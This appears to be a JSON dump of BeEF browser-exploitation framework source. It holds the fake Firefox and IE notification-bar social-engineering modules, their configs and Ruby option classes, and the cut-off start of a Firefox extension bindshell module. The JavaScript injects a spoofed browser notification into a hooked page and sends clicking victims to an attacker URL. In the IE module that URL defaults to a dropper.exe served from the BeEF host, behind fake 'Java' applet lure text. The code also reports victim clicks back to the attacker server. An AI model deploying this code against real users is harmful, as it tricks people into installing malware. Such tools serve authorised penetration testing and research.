IWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gkOBx83Cj+4fwAAARZJREFUGNNjYMAOGJmYWVjZ2BECHJxc3Dy8fAgBfoGFixYLCsG4wiKiYkuWiktISknLgPiycvIKisuWKymrqKqpgwQ0NFesXLV6zdp16zdoaTPo6OrpG2zctHnL1m3bd+w0NGIwNjE1M9+1e8/effsPWFhaWTPY2NrZOxw8dPjI0WPHHZ2cXRhc3U6cPHX6zNlz5y9cdPfw9GLw9rl0+crVa9dv3Lx129fPP4AhMCg4JPTO3Xth4RH3I6OiYxhi4+ITEh88TEpOSU17lJ6RycCQlZ2T+/hJXn5BYdHTZ8UlDKVl5RWVz19UVdfU1r18Vd/A0NjU3NLa1t7R2dXd09vXP4Fh4qTJU6ZOmz5j5qzZc+bOm78AAMOqa2g/ZGvyAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE4LTA5LTE0VDA3OjMxOjU1LTA0OjAwBl49OAAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOC0wOS0xNFQwNzozMTo1NS0wNDowMHcDhYQAAAAASUVORK5CYII=);'});\n\tvar elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 8px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'})\n\tvar elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'});\n\t$j('body').append(el);\n\tvar hid = '#'+id;\n\tvar hpid = '#'+pid;\n\t$j(hid).append(elp);\n\t$j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>'))+\"&nbsp;<img style='padding:0; margin:2px; position: absolute; top: 0;' src='data:image/png;base64,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'>\");\n\t$j(hid).append(ell);\n\t//$j(hid).append(\"<u>Problems installing?</u>&nbsp;\");\n\t$j(hid).append(elr);\n\t$j(hid).click(function() {\n\t\t$j(this).slideUp(300,function() {\n\t\t\t$j(this).remove();\n\t\t});\n\t\twindow.location = '<%= @url %>';\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification');\n\t});\n\t$j(hid).css('cursor','pointer');\n\t$j(hid).slideDown(300,function() {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed');\n\t});\n\n});\n"
  },
  {
    "path": "modules/social_engineering/fake_notification_ff/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        fake_notification_ff:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Fake Notification Bar (Firefox)\"\n            description: \"Displays a fake notification bar at the top of the screen, similar to those presented in Firefox. If the user clicks the notification they will be prompted to download a file from the the specified URL.\"\n            authors: [\"xntrik\", \"bcoles\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/social_engineering/fake_notification_ff/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Fake_notification_ff < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'url', 'ui_label' => 'Plugin URL', 'value' => '', 'width' => '150px' },\n      { 'name' => 'notification_text',\n        'description' => 'Text displayed in the notification bar',\n        'ui_label' => 'Notification text',\n        'value' => 'An additional plug-in is required to display some elements on this page.' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/fake_notification_ie/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar id = beef.dom.generateID();\n\tvar pid = beef.dom.generateID();\n\tvar zztop = beef.dom.getHighestZindex()+1;\n\tvar el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:2px 20px 5px 24px; z-index:'+zztop+'; border-bottom:1px solid black; background:#ffffda; display:none; font-family: \\'Tahoma\\',sans-serif; font-size: 12px; '});\n\tvar ell = beef.dom.createElement('div',{'style':'width: 16px; height: 18px; padding: 0; margin: 3px 0px 5px 5px; position: absolute; left: 0px; top: 0px; background-image: url(data:image/png;base64,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);'})\n\tvar elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'})\n\tvar elp = beef.dom.createElement('p',{'id':pid,'style':'padding: 0; margin: 0 50px 0 4px;'});\n\t$j('body').append(el);\n\tvar hid = '#'+id;\n\tvar hpid = '#'+pid;\n\t$j(hid).append(elp);\n\t$j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>')));\n\t$j(hid).append(ell);\n\t$j(hid).append(elr);\n\t$j(hid).click(function() {\n\t\t$j(this).slideUp(300,function() {\n\t\t\t$j(this).remove();\n\t\t});\n\t\twindow.location = '<%= @url %>';\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification');\n\t});\n\t$j(hid).css('cursor','pointer');\n\t$j(hid).slideDown(300,function() {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed');\n\t});\n\n});\n"
  },
  {
    "path": "modules/social_engineering/fake_notification_ie/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        fake_notification_ie:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Fake Notification Bar (IE)\"\n            description: \"Displays a fake notification bar at the top of the screen, similar to those presented in IE. If the user clicks the notification they will be prompted to download the file specified below.<br><br>You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt.\"\n            authors: [\"xntrik\", \"bcoles\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/social_engineering/fake_notification_ie/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Fake_notification_ie < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n\n    [\n      { 'name' => 'url', 'ui_label' => 'URL', 'value' => \"#{base_host}/dropper.exe\", 'width' => '150px' },\n      { 'name' => 'notification_text',\n        'description' => 'Text displayed in the notification bar',\n        'ui_label' => 'Notification text',\n        'value' => \"This website wants to run the following applet: 'Java' from 'Microsoft Inc'. To continue using this website you must accept the following security popup\" }\n    ]\n  end\n\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_bindshell/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    var xpi_name = '<%= @xpi_name %>';\n    var ff_extension = '/' + xpi_name + '.xpi';\n\n    if(beef.browser.isFF()){\n        var id = beef.dom.generateID();\n        var pid = beef.dom.generateID();\n        var zztop = beef.dom.getHighestZindex()+1;\n        var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'});\n        var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAEJGlDQ1BJQ0MgUHJvZmlsZQAAOBGFVd9v21QUPolvUqQWPyBYR4eKxa9VU1u5GxqtxgZJk6XtShal6dgqJOQ6N4mpGwfb6baqT3uBNwb8AUDZAw9IPCENBmJ72fbAtElThyqqSUh76MQPISbtBVXhu3ZiJ1PEXPX6yznfOec7517bRD1fabWaGVWIlquunc8klZOnFpSeTYrSs9RLA9Sr6U4tkcvNEi7BFffO6+EdigjL7ZHu/k72I796i9zRiSJPwG4VHX0Z+AxRzNRrtksUvwf7+Gm3BtzzHPDTNgQCqwKXfZwSeNHHJz1OIT8JjtAq6xWtCLwGPLzYZi+3YV8DGMiT4VVuG7oiZpGzrZJhcs/hL49xtzH/Dy6bdfTsXYNY+5yluWO4D4neK/ZUvok/17X0HPBLsF+vuUlhfwX4j/rSfAJ4H1H0qZJ9dN7nR19frRTeBt4Fe9FwpwtN+2p1MXscGLHR9SXrmMgjONd1ZxKzpBeA71b4tNhj6JGoyFNp4GHgwUp9qplfmnFW5oTdy7NamcwCI49kv6fN5IAHgD+0rbyoBc3SOjczohbyS1drbq6pQdqumllRC/0ymTtej8gpbbuVwpQfyw66dqEZyxZKxtHpJn+tZnpnEdrYBbueF9qQn93S7HQGGHnYP7w6L+YGHNtd1FJitqPAR+hERCNOFi1i1alKO6RQnjKUxL1GNjwlMsiEhcPLYTEiT9ISbN15OY/jx4SMshe9LaJRpTvHr3C/ybFYP1PZAfwfYrPsMBtnE6SwN9ib7AhLwTrBDgUKcm06FSrTfSj187xPdVQWOk5Q8vxAfSiIUc7Z7xr6zY/+hpqwSyv0I0/QMTRb7RMgBxNodTfSPqdraz/sDjzKBrv4zu2+a2t0/HHzjd2Lbcc2sG7GtsL42K+xLfxtUgI7YHqKlqHK8HbCCXgjHT1cAdMlDetv4FnQ2lLasaOl6vmB0CMmwT/IPszSueHQqv6i/qluqF+oF9TfO2qEGTumJH0qfSv9KH0nfS/9TIp0Wboi/SRdlb6RLgU5u++9nyXYe69fYRPdil1o1WufNSdTTsp75BfllPy8/LI8G7AUuV8ek6fkvfDsCfbNDP0dvRh0CrNqTbV7LfEEGDQPJQadBtfGVMWEq3QWWdufk6ZSNsjG2PQjp3ZcnOWWing6noonSInvi0/Ex+IzAreevPhe+CawpgP1/pMTMDo64G0sTCXIM+Kd